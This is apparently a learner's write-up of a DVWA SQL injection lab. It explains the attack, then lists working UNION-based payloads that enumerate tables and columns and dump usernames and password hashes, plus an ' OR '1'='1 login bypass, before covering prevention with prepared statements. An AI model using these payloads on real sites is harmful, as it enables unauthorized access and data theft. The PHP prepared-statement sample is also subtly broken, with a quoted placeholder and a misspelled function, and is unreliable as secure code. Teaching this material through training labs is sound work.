What is SQL Injection?

SQL Injection (SQLi) is a cyber attack technique that allows an attacker to interfere with the queries that an application makes to its database.It happens when untrusted user input is directly included in an SQL query without proper validation or sanitization.

Attackers insert malicious SQL code into input fields(login form,URL parameter).If input is not sanitized, the database executes the malicious query.

A web app takes user input (like username or search) and puts it directly into an SQL query without validation. If an attacker enters SQL code instead of normal input, the query changes and executes in unintended ways. Example:
Normal input: username = admin, password = 123
Query: SELECT * FROM users WHERE username=’admin’ AND password=’123′;
Attacker input: username = ‘admin’–, password = anything
Query becomes: SELECT * FROM users WHERE username=” ‘admin’– AND password=’anything’;

The — makes the rest of the query a comment, so the password check is ignored and the attacker logs in as admin without knowing the password.
Impact of SQL Injection Attacks:
Unauthorized access to sensitive data
Confidentiality- SQLi can be used to view sensitive information, such as application usernames and passwords
Integrity-SQLi can be used to alter data in the database
Availability- SQLi can be used to delete data in the database
SQL Injection on DVWA:
If we put the following command in the box, it will list all information in the specific category

Go to DVWA security and set the difficulty to Medium

This security level has a mitigation technique implemented; it uses mysql_real_escape_string().While this does not allow the quotes in the passed value,in our case we do not need them and we can simply bypass it by providing the payload without.

1 UNION SELECT user, password FROM user#

Now right click on the page and inspect the page .We need to use the payload within the select element

Once you click submit, you will get the result

Go to DVWA security settings and set the difficulty to High

The High severity SQL injection DVWA example requires entering user ID on another page.This does not change the fact that vulnerability exists. We can use the same payload we used for the Low security level

1’ UNION SELECT user,password FROM user#

Prove UNION works (match column count):
1′ UNION SELECT 1,2 —
Expect: page shows 1 and/or 2 somewhere.
Extract useful info:
1′ UNION SELECT 1, database() —

Tables in current DB:

1′ UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema=database() — 

Columns in user:

1′ UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name=’users’ —

Usernames + hashes:

1′ UNION SELECT user, password FROM users — 

Why is it Dangerous:

  • Bypass login (unauthorized access). 
  • Steal sensitive data (passwords, credit card numbers). 
  • Alter or delete database records. 
  • In severe cases → full control of the server. 

Prevention:

  1. Use Prepared Statements / Parameterized Queries (BEST method) 
  2. Validate & sanitize user inputs 
  3. Use least-privilege DB accounts 
  4. Hide detailed error messages from users 
  5.  Keep database & software updated 

Prepared Statements and SQL Injection:

Prepared Statements prevent SQL Injection by separating SQL code from user input, so input cannot change the query structure. 

  1. In normal queries, user input can change the query itself (causing SQL Injection). 
  2. In prepared statements, placeholders (like ?) are used, and user values are inserted safely by the database engine. 

Example: SELECT * FROM users WHERE username = ? AND password = ?; 

The ? placeholders ensure input is treated as data only. Even if the input contains ‘ OR ‘1’=’1, it won’t be executed as SQL code.

The database executes this valid query, which returns all records from the users table since ‘1’=’1′ is always true, effectively logging the attacker in as the first user, which is often an administrator
Imagine a website login form with this backend SQL code:
SELECT * FROM users WHERE username = ‘user_input’ AND password = ‘user_input’;
If a user types:
Username: admin
Password: ‘ OR ‘1’=’1
The final SQL query becomes:
SELECT * FROM users WHERE username = ‘admin’ AND password = ” OR ‘1’=’1′;
‘1’=’1′ is always true → so the login is bypassed!

How to Prevent SQL Injection:
Use Prepared Statements or Parameterized Queries
Validate and sanitize user inputs
Vulnerable code and Prepared Statement based code sample

When this form is submitted, the username and password are passed to action.php script. A user will be authenticated by providing the correct user id and password. The log in process is done by building a SQL query and comparing the user id and password to the login records in the database.
$stmt→ $conn→prepare(“SELECT * FROM users WHERE username = ‘?’ AND password = ?”);
$stmt→bind-param(“ss”,$username,$password);
$stmt→Execute();

(?) are patchholders,not string pieces.Bind-param sends the SQL structure separately from the data .$username and $password are only data.
Never SQL code,so input like ” OR ‘1’=’1′ is treated as a plain string injection fails.

Why is it challenging?
The initial input passes validation and appears safe. The injection occurs later, making it difficult to detect during initial input handling. Attackers exploit how stored data is reused in SQL queries without proper sanitization or parameterization.

Through this SQL injection exercise on DVWA, I gained a clear understanding of how insecure coding practices can compromise an entire system. A single unvalidated input can manipulate SQL queries, bypass authentication, and expose sensitive database information. Strengthening security requires a defense-in-depth approach using parameterized queries, hashing passwords securely, enforcing least-privilege access to databases, and handling errors responsibly. Continuous testing and secure development practices together form the foundation for protecting real world web applications from such attacks.